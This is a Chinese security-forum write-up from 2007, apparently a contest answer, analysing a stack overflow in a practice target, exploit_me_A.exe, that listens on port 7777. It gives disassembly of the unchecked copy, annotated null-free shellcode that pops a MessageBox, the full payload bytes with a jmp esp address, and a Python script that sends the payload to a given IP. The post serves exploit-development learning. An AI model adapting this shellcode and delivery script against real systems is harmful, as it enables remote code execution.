首页
社区
课程
招聘
[原创][firefly][exploit_me_A.exe答案]
发表于: 2007-12-30 15:34 5373

[原创][firefly][exploit_me_A.exe答案]

2007-12-30 15:34
5373
【文章标题】: exploit_me_A.exe溢出分析报告
【文章作者】: firefly
【作者邮箱】: firefly.cn@gmail.com
【软件名称】: exploit_me_A.exe
【下载地址】: 自己搜索下载
【加壳方式】: 无
【操作平台】: xp sp2
【作者声明】: 只是感兴趣,没有其他目的。失误之处敬请诸位大侠赐教!
--------------------------------------------------------------------------------
【详细过程】
提交者看雪ID:firefly
职业:(学生、程序员、安全专家、黑客技术爱好者、其他?)
学生
 PE分析:
  exploit_me_A.exe运行后将在7777端口监听,其关键代码如下所示:
  .text:004011D5                 push    4               ; backlog
  .text:004011D7                 push    ebp             ; s
  .text:004011D8                 call    ds:listen
  .text:004011DE                 lea     edx, [esp+3BCh+name]
  .text:004011E2                 lea     eax, [esp+3BCh+addr.sa_data+2]
  .text:004011E6                 push    edx             ; addrlen
  .text:004011E7                 push    eax             ; addr
  .text:004011E8                 push    ebp             ; s
  .text:004011E9                 mov     dword ptr [esp+3C8h+name.sa_family], 10h
  .text:004011F1                 call    ds:accept
  .text:004011F7                 mov     ebx, eax
  .text:004011F9                 cmp     ebx, 0FFFFFFFFh
  .text:004011FC                 jz      short loc_40127D
  .text:004011FC
  .text:004011FE                 push    esi
  .text:004011FF                 push    edi
  .text:004011FF
  .text:00401200
  .text:00401200 loc_401200:                             ; CODE XREF: _main+1AA j
  .text:00401200                                         ; _main+1C9 j
  .text:00401200                 mov     ecx, 80h
  .text:00401205                 xor     eax, eax
  .text:00401207                 lea     edi, [esp+34h]
  .text:0040120B                 push    eax             ; flags
  .text:0040120C                 rep stosd
  .text:0040120E                 lea     ecx, [esp+38h]
  .text:00401212                 push    200h            ; len
  .text:00401217                 push    ecx             ; buf
  .text:00401218                 push    ebx             ; s
  .text:00401219                 call    ds:recv
  .text:0040121F                 mov       esi, eax
  .text:00401221                 test      esi, esi
  .text:00401223                 jge       short loc_40124B
  .text:00401223
  .text:00401225                push    offset s_ReadingStream ; "reading stream message erro!"
  .text:0040122A                 mov       ecx, offset dword_409A68
  .text:0040122F                 call        ostream::operator<<(char const *)
  .text:0040122F
  .text:00401234                 push      offset loc_4012D0
  .text:00401239                 push      0Ah
  .text:0040123B                 mov       ecx, eax
  .text:0040123D                 call      ostream::operator<<(uchar)
  .text:0040123D
  .text:00401242                 mov       ecx, eax
  .text:00401244                 call        sub_4012B0
  .text:00401244
  .text:00401249                 xor       esi, esi
  .text:00401249
  .text:0040124B
  .text:0040124B loc_40124B:                             ; CODE XREF: _main+173 j
  .text:0040124B                 lea       edx, [esp+34h]
  .text:0040124F                 push      edx
  .text:00401250                 call        sub_401000
  .text:00401250
  .text:00401255                 add       esp, 4
  .text:00401258                 test      esi, esi
  .text:0040125A                 jnz       short loc_401200
  .text:0040125A
  .text:0040125C                 push      ebx             ; s
  .text:0040125D                 call      ds:closesocket
  .text:00401263                 lea       eax, [esp+3C4h+name]
  .text:00401267                 lea       ecx, [esp+3C4h+addr.sa_data+2]
  .text:0040126B                 push      eax             ; addrlen
  .text:0040126C                 push      ecx             ; addr
  .text:0040126D                 push      ebp             ; s
  .text:0040126E                 call        ds:accept
  .text:00401274                 mov       ebx, eax
  .text:00401276                 cmp       ebx, 0FFFFFFFFh
  .text:00401279                 jnz       short loc_401200
  .text:00401279
  .text:0040127B                 pop       edi
  .text:0040127C                 pop       esi
  
  其中00401219处接收数据后会先判断接收数据的大小,然后将数据传递给函数sub_401000进行显示。溢出的关键在函数sub_401000中,其代码如下所示:
  text:00401000 sub_401000      proc near               ; CODE XREF: _main+1A0 p
  .text:00401000
  .text:00401000 var_C8          = byte ptr -0C8h
  .text:00401000 arg_0           = dword ptr  4
  .text:00401000
  .text:00401000                 sub       esp, 0C8h
  .text:00401006                 or        ecx, 0FFFFFFFFh
  .text:00401009                 xor       eax, eax
  .text:0040100B                 lea       edx, [esp+0C8h+var_C8]
  .text:0040100F                 push      esi
  .text:00401010                 push      edi
  .text:00401011                 mov       edi, [esp+0D0h+arg_0]
  .text:00401018                 push      offset asc_40904C ; "********************"
  .text:0040101D                 repne scasb
  .text:0040101F                 not       ecx ;取代数据所接收数据的大小
  .text:00401021                 sub       edi, ecx
  .text:00401023                 mov       eax, ecx
  .text:00401025                 mov       esi, edi
  .text:00401027                 mov       edi, edx
  .text:00401029                 shr       ecx, 2
  .text:0040102C                 rep movsd;移动数据,数据如果过长会覆盖eip
  .text:0040102E                 mov       ecx, eax
  .text:00401030                 and       ecx, 3
  .text:00401033                 rep movsb ;移动剩余的不足四个字节的数据
  .text:00401035                 mov       ecx, offset dword_409A68
  .text:0040103A                 call      ostream::operator<<(char const *)
  .text:0040103A
  .text:0040103F                 push      offset loc_4012D0
  .text:00401044                 push      0Ah
  .text:00401046                 mov       ecx, eax
  .text:00401048                 call      ostream::operator<<(uchar)
  .text:00401048
  .text:0040104D                 mov       ecx, eax
  .text:0040104F                 call      sub_4012B0
  .text:0040104F
  .text:00401054                 push      offset s_Received ; "received:"
  .text:00401059                 mov       ecx, offset dword_409A68
  .text:0040105E                 call      ostream::operator<<(char const *)
  .text:0040105E
  .text:00401063                 push      offset loc_4012D0
  .text:00401068                 push     0Ah
  .text:0040106A                 mov       ecx, eax
  .text:0040106C                 call      ostream::operator<<(uchar)
  .text:0040106C
  .text:00401071                 mov       ecx, eax
  .text:00401073                 call      sub_4012B0
  .text:00401073
  .text:00401078                 lea       ecx, [esp+0D0h+var_C8]
  .text:0040107C                 push      ecx             ; char *
  .text:0040107D                 mov       ecx, offset dword_409A68
  .text:00401082                 call      ostream::operator<<(char const *)
  .text:00401082
  .text:00401087                 push      offset loc_4012D0
  .text:0040108C                 push      0Ah
  .text:0040108E                 mov       ecx, eax
  .text:00401090                 call      ostream::operator<<(uchar)
  .text:00401090
  .text:00401095                 mov       ecx, eax
  .text:00401097                 call      sub_4012B0
  .text:00401097
  .text:0040109C                 pop       edi
  .text:0040109D                 pop       esi
  .text:0040109E                 add       esp, 0C8h
  .text:004010A4                 retn
  .text:004010A4
  .text:004010A4 sub_401000      endp
  
  其中0040101D处获取数据的大小,然后在0040102C处将其移动至堆栈中,如果构造一个较长的数据包,将会覆盖eip导致溢出。
  漏洞描述:  exploit_me_A.exe的0040101D函数中在复制所接收的数据时没有检查其大小,导致过长的数据会覆盖eip,导致溢出。

  shellcode描述:
  请注明shellcode来源:原创,修改,引用。
 
  Shellcode为原创,由于0040101D处对数据长度的判断是以00为结尾,因此shellcode中不能包含00,这就对shellcode要求比较高。Failwest大侠给出的shellcode完全可以照搬用在这里,但是由于exploit_me_A.exe已经导入了LoadLibrary和GetProcAddress这两个关键的函数,所以这里就没有采用,直接使用exploit_me_A.exe,简化shellcode。实际上简化程度并不高,反而需要处理数据中所包含的00,其工作量要比直接copy多很多。
  Shellcode的关键代码如下所示:
  0012FAF0    60                pushad      ;保护现场,准备悄无声息的行动
  0012FAF1    B3 C8             mov     bl, 0C8 ;为了避免00,只能这么做
  ;开辟堆栈,避免了直接减出现的00
  0012FAF3    2BE3              sub     esp, ebx 
  0012FAF5    B3 6C             mov     bl, 6C   ;同样为了避免00,通过ebx
  0012FAF7    B7 6C             mov     bh, 6C    ;压入字母ll
  0012FAF9    53                push    ebx
  0012FAFA    68 33322E64     push    642E3233
  0012FAFF    68 75736572     push    72657375  
  ;这里把"user32.dll"保存在堆栈中了
  0012FB04    8BD4              mov     edx, esp
  0012FB06    52                push    edx
  ;为了避免00,先给ebx赋个较大值
  0012FB07    BB AA248040     mov     ebx, 408024AA
  ;右移,使ebx为00408024,即LoadLibrary的函数地址,这样就避免了00       
  0012FB0C    C1EB 08           shr     ebx, 8   
  ;获取user32.dll,结果保存在eax中
  0012FB0F    FF13              call    dword ptr [ebx]
  ;下边获取MessageBoxA的地址,为了避免00,采取刚才同样的策略。
  0012FB11    33DB              xor     ebx, ebx
  0012FB13    B7 41             mov     bh, 41 ;
  0012FB15    B3 78             mov     bl, 78
  0012FB17    C1E3 08           shl     ebx, 8
  0012FB1A    B3 6F             mov     bl, 6F
  0012FB1C    53                push    ebx
  0012FB1D    68 61676542     push    42656761
  0012FB22    68 4D657373     push    7373654D
  ;压入字符串"MessageBoxA"
  0012FB27    8BD4              mov     edx, esp
  0012FB29    52                push    edx
  0012FB2A    50                push    eax
  ;此处处理GetProcAddress地址
  0012FB2B    BB AAB48040     mov     ebx, 4080B4AA
  0012FB30    C1EB 08           shr     ebx, 8
  ;获得MessageBoxA地址,保存于eax中
  0012FB33    FF13              call    dword ptr [ebx]
  ;处理字符串
  0012FB35    BB AA666C79     mov     ebx, 796C66AA
  0012FB3A    C1EB 08           shr     ebx, 8
  0012FB3D    53                push    ebx
  0012FB3E    68 66697265     push    65726966
  ;将firefly保存在堆栈中了
  0012FB43    8BD4              mov     edx, esp
  0012FB45    33DB              xor     ebx, ebx
  0012FB47    53                push    ebx
  0012FB48    52                push    edx
  0012FB49    52                push    edx
  0012FB4A    53                push    ebx
  ;调用MessageBoxA,显示firefly
  0012FB4B    FFD0              call    eax
  ;修改esp,恢复现场,偷偷摸摸的完成
  0012FB4D    C1E0 08           shl     eax, 8
  0012FB50    B0 08             mov     al, 8
  0012FB52    03E0              add     esp, eax
  ;处理函数返回地址
  0012FB54    BB AA551240     mov     ebx, 401255AA
  0012FB59    C1EB 08           shr     ebx, 8
  0012FB5C    53                push    ebx
  ;返回,完成,溢出成功。
  0012FB5D    C3                retn
  完整的shellcode如下,长度为0xD4(为了能够覆盖eip其中的部分为填充数据):
  shellcode = "\x60\xB3\xC8\x2B\xE3\xB3\x6C\xB7\x6C\x53\x68\x33\x32\x2E\x64\x68\x75\x73\x65\x72\x8B\xD4\x52\xBB\xAA\x24\x80\x40\xC1\xEB\x08\xFF\x13\x33\xDB\xB7\x41\xB3\x78\xC1\xE3\x08\xB3\x6F\x53\x68\x61\x67\x65\x42\x68\x4D\x65\x73\x73\x8B\xD4\x52\x50\xBB\xAA\xB4\x80\x40\xC1\xEB\x08\xFF\x13\xBB\xAA\x66\x6C\x79\xC1\xEB\x08\x53\x68\x66\x69\x72\x65\x8B\xD4\x33\xDB\x53\x52\x52\x53\xFF\xD0\xC1\xE0\x08\xB0\x08\x03\xE0\xBB\xAA\x55\x12\x40\xC1\xEB\x08\x53\xC3\x90\x75\x66\x69\x72\x65\x66\x6C\x79\x40\x70\x65\x64\x69\x79\x5F\x45\x78\x70\x6C\x6F\x69\x74\x5F\x6D\x65\x5F\x41\x2E\x65\x78\x65\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x40\x27\xDC\x77\xE9\x2F\xFF\xFF\xFF\x31\x31\x31"
  最后的几个字节为
  Jmp esp以及jmp到0012FAF0    60                pushad
  其中jmp esp是在advapi32.dll中找的。
  最后的几个31是为了填充,多余的。
  
  使用的是python做溢出,整个脚本如下(使用python2.5):
# -*- coding:utf-8 -*-
# file: exploit.py
#   by: firelfy                   0(0
# mail: firelfy.cn@gmail.com       ~
# date: 2007-12-29
# note: 
  import sys
  import socket
  
  print '''
  ==============================
  shellcode for exploit_me_A.exe
          by firelfy
  Useage:
    exploit.py xxx.xxx.xxx.xxx
  ==============================
  '''
  if len(sys.argv) == 1:
    ip = raw_input("input the ip address:\n")
  else:
    ip = sys.argv[1];
  
  shellcode = "\x60\xB3\xC8\x2B\xE3\xB3\x6C\xB7\x6C\x53\x68\x33\x32\x2E\x64\x68\x75\x73\x65\x72\x8B\xD4\x52\xBB\xAA\x24\x80\x40\xC1\xEB\x08\xFF\x13\x33\xDB\xB7\x41\xB3\x78\xC1\xE3\x08\xB3\x6F\x53\x68\x61\x67\x65\x42\x68\x4D\x65\x73\x73\x8B\xD4\x52\x50\xBB\xAA\xB4\x80\x40\xC1\xEB\x08\xFF\x13\xBB\xAA\x66\x6C\x79\xC1\xEB\x08\x53\x68\x66\x69\x72\x65\x8B\xD4\x33\xDB\x53\x52\x52\x53\xFF\xD0\xC1\xE0\x08\xB0\x08\x03\xE0\xBB\xAA\x55\x12\x40\xC1\xEB\x08\x53\xC3\x90\x75\x66\x69\x72\x65\x66\x6C\x79\x40\x70\x65\x64\x69\x79\x5F\x45\x78\x70\x6C\x6F\x69\x74\x5F\x6D\x65\x5F\x41\x2E\x65\x78\x65\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x40\x27\xDC\x77\xE9\x2F\xFF\xFF\xFF\x31\x31\x31";
  
  clinet = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  clinet.connect((ip, 7777))
  clinet.send(shellcode)
  clinet.close()
  
  
  
  
  
  
  exploit运行截图
   
  
  
  稳定性与通用性论证
  Shellcode中的字符串都是保存在堆栈中,不需要重定位地址,另外直接使用exploit_me_A.exe的函数,保证了一定的通用性,jmp esp的地址是从advapi32.dll中获取,其通用性有所折扣,仅能运行于xp sp2.由于在shellcode中保护了寄存器,也修正了堆栈,提高了shellcode的稳定性,溢出成功后exploit_me_A.exe不会退出。
  
  
  
  
  
  创新性论证(可选)
  
  
  
--------------------------------------------------------------------------------
【版权声明】: 本文原创于看雪技术论坛, 转载请注明作者并保持文章的完整, 谢谢!
附件中包含分析文档,用于溢出的python脚本exploit.py(运行与python2.5)
                                                       2007年12月30日 15:24:24

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//